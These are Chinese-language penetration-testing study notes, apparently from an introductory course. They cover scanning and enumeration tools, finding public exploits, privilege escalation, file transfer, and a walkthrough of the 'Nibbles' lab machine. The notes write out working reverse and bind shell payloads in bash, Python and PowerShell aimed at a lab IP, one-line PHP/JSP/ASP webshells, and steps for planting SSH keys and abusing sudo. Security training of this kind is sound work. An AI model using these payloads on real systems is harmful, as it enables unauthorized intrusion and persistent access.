一、learning resource
1、Vulnerable Machines/Applications
2、YouTube Channels
(***)IppSec
3、Blog
4、Other tools
二、Getting start
1、信息安全包括
- 网络和基础设施安全
- 应用程序安全性
- 安全测试
- 系统审计
- 业务连续性规划
- 数字取证
- 事件检测和响应
2、文件夹结构
每一个项目都要建立独立的文件夹,文件夹结构如下两种:
3、common term
-
shell:在linux系统中,shell是一个程序,它通过键盘从用户哪里获取输入,并将这些命令传递给操作系统以执行特定功能。
-
常见端口
4、Basic tools
- TCP连接工具:
nc
、powernc
、socat
nc
连接基础命令:nc <ip> <port>
nc
监听特定端口:nc -nvlp <podt>
-
SSH
SSH是一个运行在22端口上的网络协议,能够让用户远程访问计算机。SSH登录有两种方式:密码认证和公钥认证。SSH除了远程登录计算机,还可以进行端口转发和端口代理,以及从远程主机上上传或下载文件。
SSH连接命令:ssh username@ip
-
终端复用器:
Tmux
- 直接在命令行中输入tmux
;
- 开启新窗口:[ctrl+b] c
;
- 切换窗口:[ctrl+B] number
;
- 窗口左右布局:[ctrl+b] %
;
- 光标向左移动:[ctrl+b] {
;
- 光标向左移动:[ctrl+b] }
;
- 查看历史输出:[ctrl+b] [
进入历史输出信息查看模式,通过方位键即可查看输出内容。
tmux
命令总结:cheatsheet-tmux
5、server scanning
-
Namp
nmap <IP>
:默认只会扫描常见的1000个端口,默认实施TCP扫描
-sC
:指定nmap脚本;
-sV
:服务版本探测;
-p-
:全端口扫描 -
Banner grabbing
其实就是用nc去连接开放的端口,该端口会返回其上所运行的服务的指纹。
- smbclient
smbclient -l -N \\\\<ip>
:显示指定ip的共享文件夹,并禁止显示密码提示;smbclient -U <username> \\\\<ip>\\<folder>
:用用户名连接共享的文件夹。
5、Web Enumeration
-
gobuster的基本使用
目录扫描:gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
http status code -
DNS Subdomain Enumeration
- 安装seclist字典seclist
add a DNS Server such as 1.1.1.1 to the /etc/resolv.conf file
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt
-
Web Enumeration Tips
- Banner Grabbing / Web Server Headers
检索响应头信息,curl -IL <url>
- Whatweb
提取web服务版本,支持的框架、应用,whatweb <ip地址>
- Certificates
- Robots.txt
Robots.txt中可能包含一些敏感路径 - 源代码
源代码中可能包含没删感觉的测试信息。
- Banner Grabbing / Web Server Headers
6、Public Exploits
在我们用nmap扫描出目标主机的服务、应用信息之后,就要去查找这些服务、应用是否存在已知漏洞。
-
Finding Public Exploits
- google
例如,windows 7 smb exploit
. - a tool ——
searchsploit
- 在线漏洞数据库
Exploit DB
Rapid7 DB
Vulnerability Lab
- google
-
Metasploit Primer
7、types of shells
-
reverse shell
反弹shell的思路:在本机上使用
netcat
监听某个特定端口,然后在目标主机上运行反弹shell命令连接本机的被netcat
监听的端口。具体操作如下:-
在本机上监听端口,
nc -lvnp <port>
-
在目标主机上运行反弹shell命令
- 在linux上使用的,比较稳定的反弹shell payload:
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
- windows powershell 反弹shell payload:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
- 在linux上使用的,比较稳定的反弹shell payload:
Payload All The Things上有很多关于反弹shell的payload
-
-
blind shell
其实就是正向连接,本机主动连接目标主机
blind shell的思路:在目标主机上执行blind shell命令,以便将shell绑定到目标主机的某一端口,并且目标主机监听这一端口;之后,在本机上使用
netcat
主动连接目标主机监听的那一特殊端口。具体步骤如下:-
在目标主机上运行blind shell command较稳定的payload如下:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
-
在本机上用
netcat
连接目标主机,netcat <ip> <port>
-
注意:不管是正向shell还是反向shell,shell命令停止,都需要重新连接!
-
Upgrading TTY
不管是正向shell还是反向shell,获取的shell都只能输入命令和键,不能移动光标,也不可以使用
up
和down
键浏览历史命令。因此,需要update TTY。具体做法如下:- 在
netcat
shell中,使用如下命令更新shell类型到full TTY:
python -c 'import pty; pty.spawn("/bin/bash")'
-
使用
ctrl+z
将netcat
shell放到后台,且返回一个本地的shell,在本地shell中输入stty
命令,就可以得到一个更加稳定的远程shell了。
-
改变
netcat
shell的窗口大小
- 在
-
webshell
webshell其实是一个web脚本,这个脚本能够通过HTTP协议接受自定义的命令,并且运行这些命令,且将结果输出到web页面上。
- 写web shell脚本
<?php system($_REQUEST["cmd"]); ?>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<% eval request("cmd") %>
- 上传web shell脚本
通过文件上传上传webshell;或者通过代码执行,将webshell脚本写到网站根目录下。
常见的web server的根目录:
- 访问
webshell
`可以通过浏览器访问webshell位置;也可以用curl工具访问;也可以用webshell连接工具,如蚁剑、哥斯拉。
8、Privilege Escalation
两个关于提权的资料:
hacktricks
payload_all_the_sthings
关于提权,有以下几个思路:
-
内核漏洞利用
-
有漏洞的软件利用
-
用户权限
在获得目标主机的访问权限后,我们需要查看是否能够利用其他用户权限。以下是几种利用其他用户权限的方法:- sudo
- suid
- windows token privileges
sudo -l
:检查当前用户的权限,若发现可以不用密码就执行sudo
的用户,直接sudo -u <username> /bin/bash
就可以拿到别的用户的shell了!
linux下使用sudo
命令提权的相关资料:gtfobins
windows下相关提权:LOLBAS -
计划任务
如果我们对计划任务具有写权限,那么我们就可以写一个反向连接的shell脚本。windows下是计划任务,linux下就是cron job,与cron job有关的目录:- /etc/crontab
- /etc/cron.d
- /var/spool/cron/crontabs/root
-
公开的凭证
我们还可以查找我们有权读的文件,看其中是否存在公开的凭证,一般是在配置文件、日志文件、历史文件(bash_hisory in linux;PSReadline in windows)。有相关脚本文件。 -
SSH keys
- 使用用户私钥登录ssh
用户ssh私钥文件路径:/home/user/.ssh/id_rsa
or/root/.ssh/id_rsa
,如果我们能读取私钥文件,将其私钥文件复制到本机上,并且使用ssh -i
命令登录ssh,具体命令如下:
- 使用授权的ssh私钥登录ssh
- 在本机上使用
ssh-keygen -f key
(其中f
表示输出的文件名)命令生成公钥(hey.pub)和私钥(key); - 将生成的公钥内容写入到目标主机的
/root/.ssh/authorized_keys
; - 使用私钥进行免密登录
ssh username@ip -i key
;
- 在本机上使用
- 使用用户私钥登录ssh
9、transferring files
需求:在渗透测试过程中,我们可能需要传输文件到目标主机,例如enumeration scripts or exploit,或者传输数据回本地主机。尽管msf有相应的上传命令,我们仍然需要学会用反弹shell去传输文件。
-
Using wget
思路:本机开http服务,目标主机使用curl
或者wget
下载本机上的资源。具体步骤如下:- 进入需要传输的文件所在的目录,并且用python开启http服务。
cd <相应dir> python3 -m http.server 8000
- 使用
curl
或者wget
下载相应资源wget http://<ip>:<port>/file curl http://<ip>:<port>/file -o <output filename>
- 进入需要传输的文件所在的目录,并且用python开启http服务。
-
using scp
使用scp
命令将本地文件传输到远程主机:
scp <local file path> username@ip:/<remore file path>
-
Using Base64
有时候防火墙不允许目标主机下载文件,此时可以用base64进行编码,具体做法:base64 <filename> -w 0 //对要传输的文件进行base64编码 echo <base64编码的内容> | base64 -d > <filename> //将编码得到的内容进行解码并写入相应的文件中
-
Validating File Transfers
使用file
命令查看文件格式,file <filename>
,如果它是一个ELF binary,则说明其是可以成功传输的。同时,为了确保文件在传输过程中不会改变,可以使用md5sum
命令检查MD5 hash。
10、Nibbles - Enumeration
1. Enumeration — nmap
-
使用
nmap -v -oG -
命令显示nmap默认扫描的端口;
-
使用如下命令扫描默认端口:
nmap -sV --open -oA <output_filename> <ip>
;或者进行全端口扫描:nmap -p- -sV --open -oA <output_filename> <ip>
;其中,
-p-
扫描所有端口;
-sV
参数代表扫描默认1000个端口的服务情况和端口开放情况;
--open
表示仅仅展示开放端口;
-oA
代表输出所有类型的输出(报告)。
从上图可知,该靶机上运行了ssh、http服务;靶机类型为linux。 -
使用
nc
去检查nmap
扫出来的端口信息,命令如下:nc -nv <ip> <port>
其中,
-v
代表显示输出信息;
-n
代表不要再任何ip、端口上进行DNS和服务探查 -
在发现所有开放端口后,使用nmap脚本进行进一步探查,命令如下:
nmap -sC -p <port_num> -oA <output_filename> <ip>
其中,
-sC
代表使用nmap脚本,nmap脚本
-p <port_num>
指定端口。
没有太多有用的信息。
2. Web Footprinting
(1) 探查web指纹
-
使用浏览器插件
wappalyzer
,可能不全
-
使用命令
whatweb <url>
进行web指纹识别。
whatweb的结果可能比wappalzer全,可知:后端语言为php,web服务器为apache,java库为jQuery,CMS为Nibbleblog.
(2) web目录扫描
-
gobuster dir -u <url> --wordlist /usr/share/dirb/wordlists/common.txt
3. Initial Foothold
reverse shell资源:
获取稳定shell类型到full TTY(不至于突然断掉):
python -c 'import pty; pty.spawn("/bin/bash")'
4. Privilege Escalation
上传自动提权检查脚本LinEnum到目标主机,用python开启http服务:sudo python -mhttp.server 8080
命令行访问web服务用
curl
,命令行下载web上的资源用wget
总结
- 使用
nmap
对所有端口进行快速扫描,先用namp -p-<ip>
探查开放的端口,再用-sC -sV
参数针对端口进行探查; - 检查所有的运行web应用的端口,使用
whatweb
或wappalyzer
探查脚本语言、CMS、web服务器等; - 使用
gobuster
对网站进行目录扫描,发现隐藏的文件或目录; - 将网站url和相应的IP放到
/etc/hosts
文件中,再次访问(非必要); - 在识别网站使用的技术后,使用
searchsploit
或者google去查询是否存在exploitation techniques; - 获取反弹shell后,使用
python -c 'import pty;pty.spawn("/bin/bash")'
去获得一个比较稳定的shell(这里所说的稳定是不会随便断,但是有些按键仍然不能用); - 再进行错误配置、已知漏洞服务、明文存储的相关认证信息搜集;根据搜集到的信息进行提权。信息搜集脚本:LinEnum和LinPEAS